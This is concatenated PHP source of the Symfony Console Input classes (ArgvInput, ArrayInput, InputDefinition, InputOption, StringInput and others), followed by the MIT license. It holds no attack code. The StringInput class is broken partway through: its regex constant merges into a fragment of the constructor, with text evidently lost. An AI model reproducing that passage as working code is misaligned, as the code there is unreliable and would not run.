(!$this->definition->hasShortcut($name[$i])) { $encoding = mb_detect_encoding($name, null, true); throw new RuntimeException(sprintf('The "-%s" option does not exist.', false === $encoding ? $name[$i] : mb_substr($name, $i, 1, $encoding))); } $option = $this->definition->getOptionForShortcut($name[$i]); if ($option->acceptValue()) { $this->addLongOption($option->getName(), $i === $len - 1 ? null : substr($name, $i + 1)); break; } else { $this->addLongOption($option->getName(), null); } } } /** * Parses a long option. */ private function parseLongOption(string $token) { $name = substr($token, 2); if (false !== $pos = strpos($name, '=')) { if ('' === $value = substr($name, $pos + 1)) { array_unshift($this->parsed, $value); } $this->addLongOption(substr($name, 0, $pos), $value); } else { $this->addLongOption($name, null); } } /** * Parses an argument. * * @throws RuntimeException When too many arguments are given */ private function parseArgument(string $token) { $c = \count($this->arguments); // if input is expecting another argument, add it if ($this->definition->hasArgument($c)) { $arg = $this->definition->getArgument($c); $this->arguments[$arg->getName()] = $arg->isArray() ? [$token] : $token; // if last argument isArray(), append token to last argument } elseif ($this->definition->hasArgument($c - 1) && $this->definition->getArgument($c - 1)->isArray()) { $arg = $this->definition->getArgument($c - 1); $this->arguments[$arg->getName()][] = $token; // unexpected argument } else { $all = $this->definition->getArguments(); $symfonyCommandName = null; if (($inputArgument = $all[$key = array_key_first($all)] ?? null) && 'command' === $inputArgument->getName()) { $symfonyCommandName = $this->arguments['command'] ?? null; unset($all[$key]); } if (\count($all)) { if ($symfonyCommandName) { $message = sprintf('Too many arguments to "%s" command, expected arguments "%s".', $symfonyCommandName, implode('" "', array_keys($all))); } else { $message = sprintf('Too many arguments, expected arguments "%s".', implode('" "', array_keys($all))); } } elseif ($symfonyCommandName) { $message = sprintf('No arguments expected for "%s" command, got "%s".', $symfonyCommandName, $token); } else { $message = sprintf('No arguments expected, got "%s".', $token); } throw new RuntimeException($message); } } /** * Adds a short option value. * * @throws RuntimeException When option given doesn't exist */ private function addShortOption(string $shortcut, $value) { if (!$this->definition->hasShortcut($shortcut)) { throw new RuntimeException(sprintf('The "-%s" option does not exist.', $shortcut)); } $this->addLongOption($this->definition->getOptionForShortcut($shortcut)->getName(), $value); } /** * Adds a long option value. * * @throws RuntimeException When option given doesn't exist */ private function addLongOption(string $name, $value) { if (!$this->definition->hasOption($name)) { if (!$this->definition->hasNegation($name)) { throw new RuntimeException(sprintf('The "--%s" option does not exist.', $name)); } $optionName = $this->definition->negationToName($name); if (null !== $value) { throw new RuntimeException(sprintf('The "--%s" option does not accept a value.', $name)); } $this->options[$optionName] = false; return; } $option = $this->definition->getOption($name); if (null !== $value && !$option->acceptValue()) { throw new RuntimeException(sprintf('The "--%s" option does not accept a value.', $name)); } if (\in_array($value, ['', null], true) && $option->acceptValue() && \count($this->parsed)) { // if option accepts an optional or mandatory argument // let's see if there is one provided $next = array_shift($this->parsed); if ((isset($next[0]) && '-' !== $next[0]) || \in_array($next, ['', null], true)) { $value = $next; } else { array_unshift($this->parsed, $next); } } if (null === $value) { if ($option->isValueRequired()) { throw new RuntimeException(sprintf('The "--%s" option requires a value.', $name)); } if (!$option->isArray() && !$option->isValueOptional()) { $value = true; } } if ($option->isArray()) { $this->options[$name][] = $value; } else { $this->options[$name] = $value; } } /** * {@inheritdoc} */ public function getFirstArgument() { $isOption = false; foreach ($this->tokens as $i => $token) { if ($token && '-' === $token[0]) { if (str_contains($token, '=') || !isset($this->tokens[$i + 1])) { continue; } // If it's a long option, consider that everything after "--" is the option name. // Otherwise, use the last char (if it's a short option set, only the last one can take a value with space separator) $name = '-' === $token[1] ? substr($token, 2) : substr($token, -1); if (!isset($this->options[$name]) && !$this->definition->hasShortcut($name)) { // noop } elseif ((isset($this->options[$name]) || isset($this->options[$name = $this->definition->shortcutToName($name)])) && $this->tokens[$i + 1] === $this->options[$name]) { $isOption = true; } continue; } if ($isOption) { $isOption = false; continue; } return $token; } return null; } /** * {@inheritdoc} */ public function hasParameterOption($values, bool $onlyParams = false) { $values = (array) $values; foreach ($this->tokens as $token) { if ($onlyParams && '--' === $token) { return false; } foreach ($values as $value) { // Options with values: // For long options, test for '--option=' at beginning // For short options, test for '-o' at beginning $leading = str_starts_with($value, '--') ? $value.'=' : $value; if ($token === $value || '' !== $leading && str_starts_with($token, $leading)) { return true; } } } return false; } /** * {@inheritdoc} */ public function getParameterOption($values, $default = false, bool $onlyParams = false) { $values = (array) $values; $tokens = $this->tokens; while (0 < \count($tokens)) { $token = array_shift($tokens); if ($onlyParams && '--' === $token) { return $default; } foreach ($values as $value) { if ($token === $value) { return array_shift($tokens); } // Options with values: // For long options, test for '--option=' at beginning // For short options, test for '-o' at beginning $leading = str_starts_with($value, '--') ? $value.'=' : $value; if ('' !== $leading && str_starts_with($token, $leading)) { return substr($token, \strlen($leading)); } } } return $default; } /** * Returns a stringified representation of the args passed to the command. * * @return string */ public function __toString() { $tokens = array_map(function ($token) { if (preg_match('{^(-[^=]+=)(.+)}', $token, $match)) { return $match[1].$this->escapeToken($match[2]); } if ($token && '-' !== $token[0]) { return $this->escapeToken($token); } return $token; }, $this->tokens); return implode(' ', $tokens); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\InvalidOptionException; /** * ArrayInput represents an input provided as an array. * * Usage: * * $input = new ArrayInput(['command' => 'foo:bar', 'foo' => 'bar', '--bar' => 'foobar']); * * @author Fabien Potencier */ class ArrayInput extends Input { private $parameters; public function __construct(array $parameters, ?InputDefinition $definition = null) { $this->parameters = $parameters; parent::__construct($definition); } /** * {@inheritdoc} */ public function getFirstArgument() { foreach ($this->parameters as $param => $value) { if ($param && \is_string($param) && '-' === $param[0]) { continue; } return $value; } return null; } /** * {@inheritdoc} */ public function hasParameterOption($values, bool $onlyParams = false) { $values = (array) $values; foreach ($this->parameters as $k => $v) { if (!\is_int($k)) { $v = $k; } if ($onlyParams && '--' === $v) { return false; } if (\in_array($v, $values)) { return true; } } return false; } /** * {@inheritdoc} */ public function getParameterOption($values, $default = false, bool $onlyParams = false) { $values = (array) $values; foreach ($this->parameters as $k => $v) { if ($onlyParams && ('--' === $k || (\is_int($k) && '--' === $v))) { return $default; } if (\is_int($k)) { if (\in_array($v, $values)) { return true; } } elseif (\in_array($k, $values)) { return $v; } } return $default; } /** * Returns a stringified representation of the args passed to the command. * * @return string */ public function __toString() { $params = []; foreach ($this->parameters as $param => $val) { if ($param && \is_string($param) && '-' === $param[0]) { $glue = ('-' === $param[1]) ? '=' : ' '; if (\is_array($val)) { foreach ($val as $v) { $params[] = $param.('' != $v ? $glue.$this->escapeToken($v) : ''); } } else { $params[] = $param.('' != $val ? $glue.$this->escapeToken($val) : ''); } } else { $params[] = \is_array($val) ? implode(' ', array_map([$this, 'escapeToken'], $val)) : $this->escapeToken($val); } } return implode(' ', $params); } /** * {@inheritdoc} */ protected function parse() { foreach ($this->parameters as $key => $value) { if ('--' === $key) { return; } if (str_starts_with($key, '--')) { $this->addLongOption(substr($key, 2), $value); } elseif (str_starts_with($key, '-')) { $this->addShortOption(substr($key, 1), $value); } else { $this->addArgument($key, $value); } } } /** * Adds a short option value. * * @throws InvalidOptionException When option given doesn't exist */ private function addShortOption(string $shortcut, $value) { if (!$this->definition->hasShortcut($shortcut)) { throw new InvalidOptionException(sprintf('The "-%s" option does not exist.', $shortcut)); } $this->addLongOption($this->definition->getOptionForShortcut($shortcut)->getName(), $value); } /** * Adds a long option value. * * @throws InvalidOptionException When option given doesn't exist * @throws InvalidOptionException When a required value is missing */ private function addLongOption(string $name, $value) { if (!$this->definition->hasOption($name)) { if (!$this->definition->hasNegation($name)) { throw new InvalidOptionException(sprintf('The "--%s" option does not exist.', $name)); } $optionName = $this->definition->negationToName($name); $this->options[$optionName] = false; return; } $option = $this->definition->getOption($name); if (null === $value) { if ($option->isValueRequired()) { throw new InvalidOptionException(sprintf('The "--%s" option requires a value.', $name)); } if (!$option->isValueOptional()) { $value = true; } } $this->options[$name] = $value; } /** * Adds an argument value. * * @param string|int $name The argument name * @param mixed $value The value for the argument * * @throws InvalidArgumentException When argument given doesn't exist */ private function addArgument($name, $value) { if (!$this->definition->hasArgument($name)) { throw new InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); } $this->arguments[$name] = $value; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\RuntimeException; /** * Input is the base class for all concrete Input classes. * * Three concrete classes are provided by default: * * * `ArgvInput`: The input comes from the CLI arguments (argv) * * `StringInput`: The input is provided as a string * * `ArrayInput`: The input is provided as an array * * @author Fabien Potencier */ abstract class Input implements InputInterface, StreamableInputInterface { protected $definition; protected $stream; protected $options = []; protected $arguments = []; protected $interactive = true; public function __construct(?InputDefinition $definition = null) { if (null === $definition) { $this->definition = new InputDefinition(); } else { $this->bind($definition); $this->validate(); } } /** * {@inheritdoc} */ public function bind(InputDefinition $definition) { $this->arguments = []; $this->options = []; $this->definition = $definition; $this->parse(); } /** * Processes command line arguments. */ abstract protected function parse(); /** * {@inheritdoc} */ public function validate() { $definition = $this->definition; $givenArguments = $this->arguments; $missingArguments = array_filter(array_keys($definition->getArguments()), function ($argument) use ($definition, $givenArguments) { return !\array_key_exists($argument, $givenArguments) && $definition->getArgument($argument)->isRequired(); }); if (\count($missingArguments) > 0) { throw new RuntimeException(sprintf('Not enough arguments (missing: "%s").', implode(', ', $missingArguments))); } } /** * {@inheritdoc} */ public function isInteractive() { return $this->interactive; } /** * {@inheritdoc} */ public function setInteractive(bool $interactive) { $this->interactive = $interactive; } /** * {@inheritdoc} */ public function getArguments() { return array_merge($this->definition->getArgumentDefaults(), $this->arguments); } /** * {@inheritdoc} */ public function getArgument(string $name) { if (!$this->definition->hasArgument($name)) { throw new InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); } return $this->arguments[$name] ?? $this->definition->getArgument($name)->getDefault(); } /** * {@inheritdoc} */ public function setArgument(string $name, $value) { if (!$this->definition->hasArgument($name)) { throw new InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); } $this->arguments[$name] = $value; } /** * {@inheritdoc} */ public function hasArgument(string $name) { return $this->definition->hasArgument($name); } /** * {@inheritdoc} */ public function getOptions() { return array_merge($this->definition->getOptionDefaults(), $this->options); } /** * {@inheritdoc} */ public function getOption(string $name) { if ($this->definition->hasNegation($name)) { if (null === $value = $this->getOption($this->definition->negationToName($name))) { return $value; } return !$value; } if (!$this->definition->hasOption($name)) { throw new InvalidArgumentException(sprintf('The "%s" option does not exist.', $name)); } return \array_key_exists($name, $this->options) ? $this->options[$name] : $this->definition->getOption($name)->getDefault(); } /** * {@inheritdoc} */ public function setOption(string $name, $value) { if ($this->definition->hasNegation($name)) { $this->options[$this->definition->negationToName($name)] = !$value; return; } elseif (!$this->definition->hasOption($name)) { throw new InvalidArgumentException(sprintf('The "%s" option does not exist.', $name)); } $this->options[$name] = $value; } /** * {@inheritdoc} */ public function hasOption(string $name) { return $this->definition->hasOption($name) || $this->definition->hasNegation($name); } /** * Escapes a token through escapeshellarg if it contains unsafe chars. * * @return string */ public function escapeToken(string $token) { return preg_match('{^[\w-]+$}', $token) ? $token : escapeshellarg($token); } /** * {@inheritdoc} */ public function setStream($stream) { $this->stream = $stream; } /** * {@inheritdoc} */ public function getStream() { return $this->stream; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * Represents a command line argument. * * @author Fabien Potencier */ class InputArgument { public const REQUIRED = 1; public const OPTIONAL = 2; public const IS_ARRAY = 4; private $name; private $mode; private $default; private $description; /** * @param string $name The argument name * @param int|null $mode The argument mode: a bit mask of self::REQUIRED, self::OPTIONAL and self::IS_ARRAY * @param string $description A description text * @param string|bool|int|float|array|null $default The default value (for self::OPTIONAL mode only) * * @throws InvalidArgumentException When argument mode is not valid */ public function __construct(string $name, ?int $mode = null, string $description = '', $default = null) { if (null === $mode) { $mode = self::OPTIONAL; } elseif ($mode > 7 || $mode < 1) { throw new InvalidArgumentException(sprintf('Argument mode "%s" is not valid.', $mode)); } $this->name = $name; $this->mode = $mode; $this->description = $description; $this->setDefault($default); } /** * Returns the argument name. * * @return string */ public function getName() { return $this->name; } /** * Returns true if the argument is required. * * @return bool true if parameter mode is self::REQUIRED, false otherwise */ public function isRequired() { return self::REQUIRED === (self::REQUIRED & $this->mode); } /** * Returns true if the argument can take multiple values. * * @return bool true if mode is self::IS_ARRAY, false otherwise */ public function isArray() { return self::IS_ARRAY === (self::IS_ARRAY & $this->mode); } /** * Sets the default value. * * @param string|bool|int|float|array|null $default * * @throws LogicException When incorrect default value is given */ public function setDefault($default = null) { if ($this->isRequired() && null !== $default) { throw new LogicException('Cannot set a default value except for InputArgument::OPTIONAL mode.'); } if ($this->isArray()) { if (null === $default) { $default = []; } elseif (!\is_array($default)) { throw new LogicException('A default value for an array argument must be an array.'); } } $this->default = $default; } /** * Returns the default value. * * @return string|bool|int|float|array|null */ public function getDefault() { return $this->default; } /** * Returns the description text. * * @return string */ public function getDescription() { return $this->description; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; /** * InputAwareInterface should be implemented by classes that depends on the * Console Input. * * @author Wouter J */ interface InputAwareInterface { /** * Sets the Console Input. */ public function setInput(InputInterface $input); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * A InputDefinition represents a set of valid command line arguments and options. * * Usage: * * $definition = new InputDefinition([ * new InputArgument('name', InputArgument::REQUIRED), * new InputOption('foo', 'f', InputOption::VALUE_REQUIRED), * ]); * * @author Fabien Potencier */ class InputDefinition { private $arguments; private $requiredCount; private $lastArrayArgument; private $lastOptionalArgument; private $options; private $negations; private $shortcuts; /** * @param array $definition An array of InputArgument and InputOption instance */ public function __construct(array $definition = []) { $this->setDefinition($definition); } /** * Sets the definition of the input. */ public function setDefinition(array $definition) { $arguments = []; $options = []; foreach ($definition as $item) { if ($item instanceof InputOption) { $options[] = $item; } else { $arguments[] = $item; } } $this->setArguments($arguments); $this->setOptions($options); } /** * Sets the InputArgument objects. * * @param InputArgument[] $arguments An array of InputArgument objects */ public function setArguments(array $arguments = []) { $this->arguments = []; $this->requiredCount = 0; $this->lastOptionalArgument = null; $this->lastArrayArgument = null; $this->addArguments($arguments); } /** * Adds an array of InputArgument objects. * * @param InputArgument[] $arguments An array of InputArgument objects */ public function addArguments(?array $arguments = []) { if (null !== $arguments) { foreach ($arguments as $argument) { $this->addArgument($argument); } } } /** * @throws LogicException When incorrect argument is given */ public function addArgument(InputArgument $argument) { if (isset($this->arguments[$argument->getName()])) { throw new LogicException(sprintf('An argument with name "%s" already exists.', $argument->getName())); } if (null !== $this->lastArrayArgument) { throw new LogicException(sprintf('Cannot add a required argument "%s" after an array argument "%s".', $argument->getName(), $this->lastArrayArgument->getName())); } if ($argument->isRequired() && null !== $this->lastOptionalArgument) { throw new LogicException(sprintf('Cannot add a required argument "%s" after an optional one "%s".', $argument->getName(), $this->lastOptionalArgument->getName())); } if ($argument->isArray()) { $this->lastArrayArgument = $argument; } if ($argument->isRequired()) { ++$this->requiredCount; } else { $this->lastOptionalArgument = $argument; } $this->arguments[$argument->getName()] = $argument; } /** * Returns an InputArgument by name or by position. * * @param string|int $name The InputArgument name or position * * @return InputArgument * * @throws InvalidArgumentException When argument given doesn't exist */ public function getArgument($name) { if (!$this->hasArgument($name)) { throw new InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); } $arguments = \is_int($name) ? array_values($this->arguments) : $this->arguments; return $arguments[$name]; } /** * Returns true if an InputArgument object exists by name or position. * * @param string|int $name The InputArgument name or position * * @return bool */ public function hasArgument($name) { $arguments = \is_int($name) ? array_values($this->arguments) : $this->arguments; return isset($arguments[$name]); } /** * Gets the array of InputArgument objects. * * @return InputArgument[] */ public function getArguments() { return $this->arguments; } /** * Returns the number of InputArguments. * * @return int */ public function getArgumentCount() { return null !== $this->lastArrayArgument ? \PHP_INT_MAX : \count($this->arguments); } /** * Returns the number of required InputArguments. * * @return int */ public function getArgumentRequiredCount() { return $this->requiredCount; } /** * @return array */ public function getArgumentDefaults() { $values = []; foreach ($this->arguments as $argument) { $values[$argument->getName()] = $argument->getDefault(); } return $values; } /** * Sets the InputOption objects. * * @param InputOption[] $options An array of InputOption objects */ public function setOptions(array $options = []) { $this->options = []; $this->shortcuts = []; $this->negations = []; $this->addOptions($options); } /** * Adds an array of InputOption objects. * * @param InputOption[] $options An array of InputOption objects */ public function addOptions(array $options = []) { foreach ($options as $option) { $this->addOption($option); } } /** * @throws LogicException When option given already exist */ public function addOption(InputOption $option) { if (isset($this->options[$option->getName()]) && !$option->equals($this->options[$option->getName()])) { throw new LogicException(sprintf('An option named "%s" already exists.', $option->getName())); } if (isset($this->negations[$option->getName()])) { throw new LogicException(sprintf('An option named "%s" already exists.', $option->getName())); } if ($option->getShortcut()) { foreach (explode('|', $option->getShortcut()) as $shortcut) { if (isset($this->shortcuts[$shortcut]) && !$option->equals($this->options[$this->shortcuts[$shortcut]])) { throw new LogicException(sprintf('An option with shortcut "%s" already exists.', $shortcut)); } } } $this->options[$option->getName()] = $option; if ($option->getShortcut()) { foreach (explode('|', $option->getShortcut()) as $shortcut) { $this->shortcuts[$shortcut] = $option->getName(); } } if ($option->isNegatable()) { $negatedName = 'no-'.$option->getName(); if (isset($this->options[$negatedName])) { throw new LogicException(sprintf('An option named "%s" already exists.', $negatedName)); } $this->negations[$negatedName] = $option->getName(); } } /** * Returns an InputOption by name. * * @return InputOption * * @throws InvalidArgumentException When option given doesn't exist */ public function getOption(string $name) { if (!$this->hasOption($name)) { throw new InvalidArgumentException(sprintf('The "--%s" option does not exist.', $name)); } return $this->options[$name]; } /** * Returns true if an InputOption object exists by name. * * This method can't be used to check if the user included the option when * executing the command (use getOption() instead). * * @return bool */ public function hasOption(string $name) { return isset($this->options[$name]); } /** * Gets the array of InputOption objects. * * @return InputOption[] */ public function getOptions() { return $this->options; } /** * Returns true if an InputOption object exists by shortcut. * * @return bool */ public function hasShortcut(string $name) { return isset($this->shortcuts[$name]); } /** * Returns true if an InputOption object exists by negated name. */ public function hasNegation(string $name): bool { return isset($this->negations[$name]); } /** * Gets an InputOption by shortcut. * * @return InputOption */ public function getOptionForShortcut(string $shortcut) { return $this->getOption($this->shortcutToName($shortcut)); } /** * @return array */ public function getOptionDefaults() { $values = []; foreach ($this->options as $option) { $values[$option->getName()] = $option->getDefault(); } return $values; } /** * Returns the InputOption name given a shortcut. * * @throws InvalidArgumentException When option given does not exist * * @internal */ public function shortcutToName(string $shortcut): string { if (!isset($this->shortcuts[$shortcut])) { throw new InvalidArgumentException(sprintf('The "-%s" option does not exist.', $shortcut)); } return $this->shortcuts[$shortcut]; } /** * Returns the InputOption name given a negation. * * @throws InvalidArgumentException When option given does not exist * * @internal */ public function negationToName(string $negation): string { if (!isset($this->negations[$negation])) { throw new InvalidArgumentException(sprintf('The "--%s" option does not exist.', $negation)); } return $this->negations[$negation]; } /** * Gets the synopsis. * * @return string */ public function getSynopsis(bool $short = false) { $elements = []; if ($short && $this->getOptions()) { $elements[] = '[options]'; } elseif (!$short) { foreach ($this->getOptions() as $option) { $value = ''; if ($option->acceptValue()) { $value = sprintf( ' %s%s%s', $option->isValueOptional() ? '[' : '', strtoupper($option->getName()), $option->isValueOptional() ? ']' : '' ); } $shortcut = $option->getShortcut() ? sprintf('-%s|', $option->getShortcut()) : ''; $negation = $option->isNegatable() ? sprintf('|--no-%s', $option->getName()) : ''; $elements[] = sprintf('[%s--%s%s%s]', $shortcut, $option->getName(), $value, $negation); } } if (\count($elements) && $this->getArguments()) { $elements[] = '[--]'; } $tail = ''; foreach ($this->getArguments() as $argument) { $element = '<'.$argument->getName().'>'; if ($argument->isArray()) { $element .= '...'; } if (!$argument->isRequired()) { $element = '['.$element; $tail .= ']'; } $elements[] = $element; } return implode(' ', $elements).$tail; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\RuntimeException; /** * InputInterface is the interface implemented by all input classes. * * @author Fabien Potencier */ interface InputInterface { /** * Returns the first argument from the raw parameters (not parsed). * * @return string|null */ public function getFirstArgument(); /** * Returns true if the raw parameters (not parsed) contain a value. * * This method is to be used to introspect the input parameters * before they have been validated. It must be used carefully. * Does not necessarily return the correct result for short options * when multiple flags are combined in the same option. * * @param string|array $values The values to look for in the raw parameters (can be an array) * @param bool $onlyParams Only check real parameters, skip those following an end of options (--) signal * * @return bool */ public function hasParameterOption($values, bool $onlyParams = false); /** * Returns the value of a raw option (not parsed). * * This method is to be used to introspect the input parameters * before they have been validated. It must be used carefully. * Does not necessarily return the correct result for short options * when multiple flags are combined in the same option. * * @param string|array $values The value(s) to look for in the raw parameters (can be an array) * @param string|bool|int|float|array|null $default The default value to return if no result is found * @param bool $onlyParams Only check real parameters, skip those following an end of options (--) signal * * @return mixed */ public function getParameterOption($values, $default = false, bool $onlyParams = false); /** * Binds the current Input instance with the given arguments and options. * * @throws RuntimeException */ public function bind(InputDefinition $definition); /** * Validates the input. * * @throws RuntimeException When not enough arguments are given */ public function validate(); /** * Returns all the given arguments merged with the default values. * * @return array */ public function getArguments(); /** * Returns the argument value for a given argument name. * * @return mixed * * @throws InvalidArgumentException When argument given doesn't exist */ public function getArgument(string $name); /** * Sets an argument value by name. * * @param mixed $value The argument value * * @throws InvalidArgumentException When argument given doesn't exist */ public function setArgument(string $name, $value); /** * Returns true if an InputArgument object exists by name or position. * * @return bool */ public function hasArgument(string $name); /** * Returns all the given options merged with the default values. * * @return array */ public function getOptions(); /** * Returns the option value for a given option name. * * @return mixed * * @throws InvalidArgumentException When option given doesn't exist */ public function getOption(string $name); /** * Sets an option value by name. * * @param mixed $value The option value * * @throws InvalidArgumentException When option given doesn't exist */ public function setOption(string $name, $value); /** * Returns true if an InputOption object exists by name. * * @return bool */ public function hasOption(string $name); /** * Is this input means interactive? * * @return bool */ public function isInteractive(); /** * Sets the input interactivity. */ public function setInteractive(bool $interactive); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * Represents a command line option. * * @author Fabien Potencier */ class InputOption { /** * Do not accept input for the option (e.g. --yell). This is the default behavior of options. */ public const VALUE_NONE = 1; /** * A value must be passed when the option is used (e.g. --iterations=5 or -i5). */ public const VALUE_REQUIRED = 2; /** * The option may or may not have a value (e.g. --yell or --yell=loud). */ public const VALUE_OPTIONAL = 4; /** * The option accepts multiple values (e.g. --dir=/foo --dir=/bar). */ public const VALUE_IS_ARRAY = 8; /** * The option may have either positive or negative value (e.g. --ansi or --no-ansi). */ public const VALUE_NEGATABLE = 16; private $name; private $shortcut; private $mode; private $default; private $description; /** * @param string|array|null $shortcut The shortcuts, can be null, a string of shortcuts delimited by | or an array of shortcuts * @param int|null $mode The option mode: One of the VALUE_* constants * @param string|bool|int|float|array|null $default The default value (must be null for self::VALUE_NONE) * * @throws InvalidArgumentException If option mode is invalid or incompatible */ public function __construct(string $name, $shortcut = null, ?int $mode = null, string $description = '', $default = null) { if (str_starts_with($name, '--')) { $name = substr($name, 2); } if (empty($name)) { throw new InvalidArgumentException('An option name cannot be empty.'); } if ('' === $shortcut || [] === $shortcut || false === $shortcut) { $shortcut = null; } if (null !== $shortcut) { if (\is_array($shortcut)) { $shortcut = implode('|', $shortcut); } $shortcuts = preg_split('{(\|)-?}', ltrim($shortcut, '-')); $shortcuts = array_filter($shortcuts, 'strlen'); $shortcut = implode('|', $shortcuts); if ('' === $shortcut) { throw new InvalidArgumentException('An option shortcut cannot be empty.'); } } if (null === $mode) { $mode = self::VALUE_NONE; } elseif ($mode >= (self::VALUE_NEGATABLE << 1) || $mode < 1) { throw new InvalidArgumentException(sprintf('Option mode "%s" is not valid.', $mode)); } $this->name = $name; $this->shortcut = $shortcut; $this->mode = $mode; $this->description = $description; if ($this->isArray() && !$this->acceptValue()) { throw new InvalidArgumentException('Impossible to have an option mode VALUE_IS_ARRAY if the option does not accept a value.'); } if ($this->isNegatable() && $this->acceptValue()) { throw new InvalidArgumentException('Impossible to have an option mode VALUE_NEGATABLE if the option also accepts a value.'); } $this->setDefault($default); } /** * Returns the option shortcut. * * @return string|null */ public function getShortcut() { return $this->shortcut; } /** * Returns the option name. * * @return string */ public function getName() { return $this->name; } /** * Returns true if the option accepts a value. * * @return bool true if value mode is not self::VALUE_NONE, false otherwise */ public function acceptValue() { return $this->isValueRequired() || $this->isValueOptional(); } /** * Returns true if the option requires a value. * * @return bool true if value mode is self::VALUE_REQUIRED, false otherwise */ public function isValueRequired() { return self::VALUE_REQUIRED === (self::VALUE_REQUIRED & $this->mode); } /** * Returns true if the option takes an optional value. * * @return bool true if value mode is self::VALUE_OPTIONAL, false otherwise */ public function isValueOptional() { return self::VALUE_OPTIONAL === (self::VALUE_OPTIONAL & $this->mode); } /** * Returns true if the option can take multiple values. * * @return bool true if mode is self::VALUE_IS_ARRAY, false otherwise */ public function isArray() { return self::VALUE_IS_ARRAY === (self::VALUE_IS_ARRAY & $this->mode); } public function isNegatable(): bool { return self::VALUE_NEGATABLE === (self::VALUE_NEGATABLE & $this->mode); } /** * @param string|bool|int|float|array|null $default */ public function setDefault($default = null) { if (self::VALUE_NONE === (self::VALUE_NONE & $this->mode) && null !== $default) { throw new LogicException('Cannot set a default value when using InputOption::VALUE_NONE mode.'); } if ($this->isArray()) { if (null === $default) { $default = []; } elseif (!\is_array($default)) { throw new LogicException('A default value for an array option must be an array.'); } } $this->default = $this->acceptValue() || $this->isNegatable() ? $default : false; } /** * Returns the default value. * * @return string|bool|int|float|array|null */ public function getDefault() { return $this->default; } /** * Returns the description text. * * @return string */ public function getDescription() { return $this->description; } /** * Checks whether the given option equals this one. * * @return bool */ public function equals(self $option) { return $option->getName() === $this->getName() && $option->getShortcut() === $this->getShortcut() && $option->getDefault() === $this->getDefault() && $option->isNegatable() === $this->isNegatable() && $option->isArray() === $this->isArray() && $option->isValueRequired() === $this->isValueRequired() && $option->isValueOptional() === $this->isValueOptional() ; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; /** * StreamableInputInterface is the interface implemented by all input classes * that have an input stream. * * @author Robin Chalas */ interface StreamableInputInterface extends InputInterface { /** * Sets the input stream to read from when interacting with the user. * * This is mainly useful for testing purpose. * * @param resource $stream The input stream */ public function setStream($stream); /** * Returns the input stream. * * @return resource|null */ public function getStream(); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * StringInput represents an input provided as a string. * * Usage: * * $input = new StringInput('foo --bar="foobar"'); * * @author Fabien Potencier */ class StringInput extends ArgvInput { public const REGEX_STRING = '([^\s]+?)(?:\s|(?setTokens($this->tokenize($input)); } /** * Tokenizes a string. * * @throws InvalidArgumentException When unable to parse input (should never happen) */ private function tokenize(string $input): array { $tokens = []; $length = \strlen($input); $cursor = 0; $token = null; while ($cursor < $length) { if ('\\' === $input[$cursor]) { $token .= $input[++$cursor] ?? ''; ++$cursor; continue; } if (preg_match('/\s+/A', $input, $match, 0, $cursor)) { if (null !== $token) { $tokens[] = $token; $token = null; } } elseif (preg_match('/([^="\'\s]+?)(=?)('.self::REGEX_QUOTED_STRING.'+)/A', $input, $match, 0, $cursor)) { $token .= $match[1].$match[2].stripcslashes(str_replace(['"\'', '\'"', '\'\'', '""'], '', substr($match[3], 1, -1))); } elseif (preg_match('/'.self::REGEX_QUOTED_STRING.'/A', $input, $match, 0, $cursor)) { $token .= stripcslashes(substr($match[0], 1, -1)); } elseif (preg_match('/'.self::REGEX_UNQUOTED_STRING.'/A', $input, $match, 0, $cursor)) { $token .= $match[1]; } else { // should never happen throw new InvalidArgumentException(sprintf('Unable to parse input near "... %s ...".', substr($input, $cursor, 10))); } $cursor += \strlen($match[0]); } if (null !== $token) { $tokens[] = $token; } return $tokens; } } Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Logger; use Psr\Log\AbstractLogger; use Psr\Log\InvalidArgumentException; use Psr\Log\LogLevel; use 